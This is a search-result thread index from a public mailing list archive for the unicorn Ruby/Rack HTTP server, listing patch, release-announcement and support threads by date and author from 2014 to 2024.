2014-12-02 11:21 worker freeze and strace interpretation Jérémy Lecour
2014-12-02 18:58 2% ` Eric Wong
2014-12-21 11:17 2% [PATCH] remove SSL support Eric Wong
2015-01-22 5:12 3% [RFC] remove old inetd+git examples and exec_cgi Eric Wong
2015-01-28 18:44 2% [PATCH] http: -Wshorten-64-to-32 warnings on clang Eric Wong
2015-01-29 13:06 Timeouts longer than expected Antony Gelberg
2015-01-29 20:00 3% ` Eric Wong
2015-02-04 20:16 7% [PATCH] GNUmakefile: fix clean gem build + reduce build cruft Eric Wong
2015-02-05 18:01 5% [PATCH] favor IO#close_on_exec= over fcntl in 1.9+ Eric Wong
2015-02-05 18:01 12% [PATCH] use require_relative to reduce syscalls at startup Eric Wong
2015-02-06 20:15 9% [PATCH] doc: update support status for Ruby versions Eric Wong
2015-02-06 22:17 3% [PATCH] fix uninstalled testing and reduce require paths Eric Wong
2015-02-09 9:12 [PATCH 1/2] const: drop constants used by Rainbows! Eric Wong
2015-02-09 9:12 4% ` [PATCH 2/2] reduce and localize constant string use Eric Wong
2015-03-03 22:24 Request Queueing after deploy + USR2 restart Sarkis Varozian
2015-03-03 22:32 ` Michael Fischer
2015-03-04 19:48 ` Sarkis Varozian
2015-03-04 19:51 ` Michael Fischer
2015-03-04 19:58 ` Sarkis Varozian
2015-03-04 20:17 ` Michael Fischer
2015-03-04 20:24 ` Sarkis Varozian
2015-03-04 20:35 3% ` Eric Wong
2015-03-04 20:40 0% ` Sarkis Varozian
2015-03-05 17:07 0% ` Sarkis Varozian
2015-03-05 17:13 0% ` Bráulio Bhavamitra
2015-03-05 17:28 0% ` Sarkis Varozian
2015-03-05 17:31 0% ` Bráulio Bhavamitra
2015-03-05 17:32 0% ` Bráulio Bhavamitra
2015-03-12 1:04 On USR2, new master runs with same PID Kevin Yank
2015-03-12 1:45 ` Eric Wong
2015-03-12 6:26 ` Kevin Yank
2015-03-12 6:45 ` Eric Wong
2015-03-20 1:55 3% ` Kevin Yank
2015-03-24 22:43 nginx reverse proxy getting ECONNRESET Michael Fischer
2015-03-24 22:54 4% ` Eric Wong
2015-03-24 23:02 0% ` Michael Fischer
2015-04-23 9:05 Unicorn, environment variables, start and reload Jérémy Lecour
2015-04-23 9:29 3% ` Eric Wong
2015-05-16 21:30 [PATCH 0/2] no avoiding rack.hijack anymore Eric Wong
2015-05-16 21:30 16% ` [PATCH 1/2] http_request: support rack.hijack by default Eric Wong
2015-05-19 20:01 12% ` [PATCH] http_response: avoid special-casing for Rack < 1.5 Eric Wong
2015-06-15 22:56 2% [ANN] unicorn 5.0.0.pre1 - incompatible changes! Eric Wong
2015-06-26 0:47 5% [PATCH] doc: update some invalid URLs Eric Wong
2015-07-01 16:08 3% Unicorn returns blank page after no use Farjad Adamjee
2015-07-05 0:31 3% [PATCH] test/unit/test_response.rb: compatibility with older test-unit Eric Wong
2015-07-08 3:03 3% [PATCH] test_exec: disable systemd inheritance test Eric Wong
2015-07-15 22:05 6% [PATCH] doc: remove references to old servers Eric Wong
2015-08-22 4:42 6% [PATCH] gemspec: limit to 1.9.3 and 2.x Eric Wong
2015-09-29 6:38 4% Request to follow SemVer/mention it in homepage Pirate Praveen
2015-09-29 7:36 2% ` Eric Wong
2015-09-29 7:46 3% ` Lin Jen-Shin (godfat)
2015-09-29 8:00 0% ` Pirate Praveen
2015-09-29 19:36 0% ` Eric Wong
2015-09-30 16:04 3% ` Pirate Praveen
2015-09-30 19:51 ` Eric Wong
2015-10-01 4:56 3% ` Pirate Praveen
2015-10-01 11:18 4% ` Pirate Praveen
2015-11-01 8:37 3% [PATCH 0/3] last updates before 5.0 release Eric Wong
2015-11-01 8:37 22% ` [PATCH 2/3] gemspec: relax Ruby version requirement for old RubyGems Eric Wong
2015-11-01 8:37 10% ` [PATCH 3/3] doc updates Eric Wong
2015-11-01 8:55 4% [ANN] unicorn 5.0.0 - Rack HTTP server for fast clients and *nix Eric Wong
2015-11-13 0:51 Shared Metrics Between Workers Jeff Utter
2015-11-13 1:23 ` Eric Wong
2015-11-13 14:33 ` Jeff Utter
2015-11-13 20:54 3% ` Eric Wong
2016-01-08 18:34 15% [PATCH] limit rack version for ruby compatibility Adam Duke
2016-01-08 19:18 6% ` Eric Wong
2016-01-08 21:50 10% ` Aaron Patterson
2016-01-08 21:56 10% ` Aaron Patterson
2016-01-08 22:13 10% ` Adam Duke
2016-01-08 22:17 11% ` Aaron Patterson
2016-01-08 22:37 9% ` Eric Wong
2016-01-08 23:19 6% ` Aaron Patterson
2016-01-21 17:12 14% ` Adam Duke
2016-01-21 20:12 12% ` Eric Wong
2016-01-21 22:09 6% ` Aaron Patterson
2016-01-27 0:47 9% ` Eric Wong
2016-01-27 23:16 4% [ANN] unicorn 5.1.0.pre1 - Rack HTTP server for fast clients and *nix Eric Wong
[not found] <CAJfKhMSyhNgijOeaZ3zA4g7d_0vR7ePKMDRGvUWy4n3K4Bem9A@mail.gmail.com>
[not found] ` <20160212183137.GA15177@percival.namespace.at>
2016-02-12 21:34 0% ` RFS: unicorn Eric Wong
2016-02-14 5:52 0% ` Pirate Praveen
2016-03-07 23:08 3% Systemd socket inheritance fails with “not a socket file descriptor” Amir Yalon
2016-03-08 3:31 2% ` Eric Wong
2016-03-08 7:45 0% ` Amir Yalon
2016-03-08 17:39 3% ` Eric Wong
2016-04-01 0:43 3% [ANN] unicorn 5.1.0 - Rack HTTP server for fast clients and *nix Eric Wong
[not found] <CAL-rKu6CZ731c=uHyZ8+Fg2fhC30e-3-J26XODacUK=YrfX+5Q@mail.gmail.com>
2016-06-07 13:41 0% ` [PATCH] `unicorn upgrade` script resilience against exceptions Eric Wong
2016-06-07 15:17 0% ` Jesper Rønn-Jensen
2016-06-07 21:13 2% ` [PATCH] examples/init.sh: update to reduce upgrade raciness Eric Wong
[not found] <f1d5eacb-b6a2-be96-34aa-fe061a194a62@onenetbeyond.org>
[not found] ` <CAAB-Kcnwzc8Tcszv3FCPkyJRKRCsHRH6k_qBhKfBpSODxqKy5g@mail.gmail.com>
2016-10-28 0:23 6% ` trying to update unicorn to 5.1, build failure: VERSION= must be specified Eric Wong
2016-11-03 15:46 6% ` Pirate Praveen
2017-03-23 23:34 16% ` [PATCH] gemspec: remove olddoc from build dependency Eric Wong
2016-11-01 17:30 Support for HTTP/1.0 Joe McIlvain
2016-11-01 18:11 2% ` Eric Wong
2016-11-11 7:07 3% ` Eric Wong
2016-11-07 17:13 2% Build error of 5.1.0 due to RString Olivier FAURAX
2016-11-07 20:39 Eric Wong
2016-11-08 8:56 ` Olivier FAURAX
2016-11-08 9:43 4% ` Build error of 5.1.0 due to RString Eric Wong
2017-02-21 19:19 Patch: Add after_worker_exit configuration option Jeremy Evans
2017-02-21 19:43 ` Eric Wong
2017-02-21 20:02 ` Jeremy Evans
2017-02-21 20:15 3% ` Eric Wong
2017-02-21 20:49 0% ` Jeremy Evans
2017-02-22 12:02 3% check_client_connection using getsockopt(2) Simon Eskildsen
2017-02-23 18:49 Patch: Add after_worker_ready configuration option V2 Jeremy Evans
2017-02-23 20:29 ` Eric Wong
2017-03-08 7:29 ` Eric Wong
2017-03-08 7:44 8% ` [PATCH] doc: add version annotations for new features Eric Wong
2017-02-25 14:03 [PATCH] check_client_connection: use tcp state on linux Simon Eskildsen
2017-02-25 16:19 ` Simon Eskildsen
2017-02-25 23:12 ` Eric Wong
2017-02-27 11:44 ` Simon Eskildsen
2017-02-28 21:12 3% ` Eric Wong
2017-03-01 3:18 ` Eric Wong
2017-03-06 21:32 ` Simon Eskildsen
2017-03-07 22:50 3% ` Eric Wong
2017-03-08 18:44 3% [PATCH] Add worker_exec configuration option Jeremy Evans
2017-03-08 20:02 ` Eric Wong
2017-03-09 19:41 3% ` [PATCH] Add worker_exec configuration option V2 Jeremy Evans
2017-03-20 20:08 4% [PATCH] input: update documentation and hide internals Eric Wong
2017-03-23 2:48 2% [ANN] raindrops 0.18.0 - real-time stats for preforking Rack servers Eric Wong
2017-03-24 0:28 2% [ANN] unicorn 5.3.0.pre1 - Rack HTTP server for fast clients and Unix Eric Wong
2017-03-24 0:33 3% [PATCH] doc: note after_worker_exit is also 5.3.0+ Eric Wong
2017-03-26 1:49 [PATCH] Check for Socket::TCP_INFO constant before trying to get TCP_INFO Dylan Thacker-Smith
2017-03-26 2:41 3% ` Eric Wong
2017-03-26 2:52 0% ` Dylan Thacker-Smith
2017-03-26 3:37 0% ` Eric Wong
2017-04-01 8:08 1% [ANN] unicorn 5.3.0 - Rack HTTP server for fast clients and Unix Eric Wong
2017-04-04 14:08 after_worker_exit on murder Simon Eskildsen
2017-04-05 1:19 ` Eric Wong
2017-04-05 10:55 2% ` Simon Eskildsen
2017-04-05 18:33 0% ` Eric Wong
2017-05-23 13:20 Master Process Reaping Worker with No message Aakash Gupta
2017-05-23 16:22 2% ` Eric Wong
2017-07-13 18:48 Random crash when sending USR2 + QUIT signals to Unicorn process Pere Joan Martorell
2017-07-13 19:34 ` Eric Wong
2017-07-14 10:21 4% ` Pere Joan Martorell
2017-07-14 21:16 0% ` Eric Wong
2017-07-14 22:50 3% ` Jeremy Evans
2017-07-15 0:15 0% ` Eric Wong
2017-07-15 1:34 0% ` Jeremy Evans
2017-07-15 4:45 ` Eric Wong
2017-07-15 7:56 ` Jeremy Evans
2017-07-17 14:32 ` Jeremy Evans
2017-07-24 1:25 ` Eric Wong
2017-08-07 6:16 3% ` Jeremy Evans
2017-08-07 20:18 Eric Wong
2017-10-03 14:52 ` Xuanzhong Wei
2017-10-03 17:15 3% ` Eric Wong
2017-10-03 18:20 4% ` Xuanzhong Wei
2017-11-29 0:13 env reuse and hijack Sam Saffron
2017-11-29 1:03 ` Eric Wong
2017-12-05 1:53 ` Eric Wong
2017-12-16 1:49 7% ` [PATCH] avoid reusing env on hijack Eric Wong
2017-12-22 3:17 4% [PATCH] tests: cleanup some unused variable warnings Eric Wong
2018-09-13 19:20 Support default_middleware configurator method Jeremy Evans
2018-09-13 22:34 ` Eric Wong
2018-09-14 0:00 3% ` Jeremy Evans
2018-11-07 23:38 11% [PATCH] doc: update more URLs to use HTTPS and avoid redirects Eric Wong
[not found] <E5E85D7F-061C-422C-B02E-8FC248F87986@southofheaven.org>
[not found] ` <20190110200102.GA14520@portux.naturalnet.de>
2019-01-10 20:28 10% ` Bug#918916: Unicorn not reporting proper version for gemfile? Eric Wong
2019-01-12 9:42 10% ` Hleb Valoshka
2019-01-12 10:04 6% ` Dominik George
2019-01-12 12:18 6% ` Hleb Valoshka
2019-03-06 1:47 3% Issues after 5.5.0 upgrade Stan Pitucha
2019-03-06 2:48 5% ` Eric Wong
2019-03-06 4:07 ` Stan Pitucha
2019-03-06 4:44 ` Eric Wong
2019-03-06 5:57 5% ` Jeremy Evans
2019-03-06 7:27 ` Stan Pitucha
2019-03-07 2:28 5% ` [PATCH] unicorn_rails: fix regression with Rails >= 3.x in app build Eric Wong
2019-07-04 22:01 [PATCH 0/3] http: use gperf for common field memoization Eric Wong
2019-07-04 22:01 7% ` [PATCH 2/3] http: use gperf for common fields optimization Eric Wong
2019-12-11 16:24 2% tmpio.rb and taint mode Terry Scheingeld
2019-12-11 23:16 0% ` Eric Wong
2019-12-20 2:15 2% [ANN] unicorn 5.5.2 - Rack HTTP server for fast clients and *nix Eric Wong
2020-01-31 20:48 2% [ANN] unicorn 5.5.3 " Eric Wong
2020-03-24 22:17 3% [ANN] unicorn 5.5.4 " Eric Wong
2020-04-27 2:53 2% [ANN] unicorn 5.5.5 " Eric Wong
2020-07-26 1:55 2% [ANN] unicorn 5.6.0 " Eric Wong
2020-07-26 1:57 [PATCH 0/2] minor test improvements Eric Wong
2020-07-26 1:57 14% ` [PATCH 2/2] build: revamp and avoid unnecessary rebuilds Eric Wong
2020-09-01 12:17 11% [PATCH] Update ruby_version requirement to allow ruby 3.0 Jean Boussier
2020-09-01 14:48 0% ` Eric Wong
2020-09-01 15:04 10% ` Jean Boussier
2020-09-01 15:41 3% ` Eric Wong
2020-09-03 7:52 4% ` Jean Boussier
2020-09-03 8:25 0% ` Eric Wong
2020-09-03 8:29 0% ` Jean Boussier
2020-09-03 9:31 ` Eric Wong
2020-09-03 11:23 3% ` Jean Boussier
2020-09-04 12:34 17% ` Jean Boussier
2020-09-06 9:30 0% ` Eric Wong
2020-09-07 7:13 ` Jean Boussier
2020-09-08 2:24 ` Eric Wong
2020-09-08 8:00 3% ` Jean Boussier
2020-09-08 8:44 4% [ANN] unicorn 5.7.0 - Rack HTTP server for fast clients and *nix Eric Wong
2020-11-26 11:59 [RFC] http_response: ignore invalid header response characters Eric Wong
2021-01-06 17:53 ` Eric Wong
2021-01-13 23:20 4% ` Sam Sanoop
[not found] <F6712BF3-A4DD-41EE-8252-B9799B35E618@github.com>
[not found] ` <20210311030250.GA1266@dcvr>
[not found] ` <7F6FD017-7802-4871-88A3-1E03D26D967C@github.com>
2021-03-12 9:41 1% ` Potential Unicorn vulnerability Eric Wong
2021-03-12 11:14 4% ` Dirkjan Bussink
2021-03-12 12:00 0% ` Eric Wong
2021-03-17 6:43 3% [ANN] unicorn 6.0.0 - Rack HTTP server for fast clients and *nix Eric Wong
2021-03-29 19:06 1% Bus Error with Unicorn 6.0 on OpenBSD/adJ 6.8 with Ruby 3.0 vtamara
2021-03-30 1:58 ` Eric Wong
2021-03-30 4:00 ` Jeremy Evans
2021-04-04 11:06 ` vtamara
2021-04-04 16:43 ` Jeremy Evans
2021-04-04 20:03 3% ` Eric Wong
2021-04-07 21:19 0% ` Bus Error with Unicorn 6.0 on OpenBSD-current (6.9) with Ruby 3.0 in minimal rails application vtamara
2021-09-14 23:39 [PATCH 0/2] drop Ruby 1.9.3 support, require 2.0+ Eric Wong
2021-09-14 23:39 17% ` [PATCH 1/2] drop Ruby 1.9.3 support, require 2.0+ for now Eric Wong
2021-12-25 17:41 3% [PATCH 0/3] Ruby 3.1 + doc/URL updates Eric Wong
2021-12-25 17:41 27% ` [PATCH 2/3] drop Ruby version warning, fix speling errer Eric Wong
2021-12-25 18:06 3% [ANN] unicorn 6.1.0 - Rack HTTP server for fast clients and *nix Eric Wong
2022-07-08 7:46 22% [PATCH] Make the gem usable as a git gem Jean Boussier
2022-07-08 12:12 4% ` Eric Wong
2023-06-05 10:32 1% [PATCH 00-23/23] start porting tests to Perl5 Eric Wong
2023-06-11 22:56 [PATCH 0/4] various test fixes Eric Wong
2023-06-11 22:58 5% ` [PATCH 1-4/4] " Eric Wong
2023-06-20 10:46 3% [PATCH] unicorn_http_common.rl: use only ASCII spaces for compatibility EW
2023-09-05 9:44 4% [RFC 0-3/3] depend on Ruby 2.5+, eliminate kgio Eric Wong
2023-09-10 20:08 1% [PATCH 00..11/11] more tests to Perl 5 Eric Wong
2024-03-23 19:45 2% [PATCH 0/4] a small pile of patches Eric Wong
2024-05-06 20:10 3% [PATCH 0/5..5/5] more tests to Perl 5 for stability Eric Wong
Code repositories for project(s) associated with this public inbox
https://yhbt.net/unicorn.git/
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for read-only IMAP folder(s) and NNTP newsgroup(s).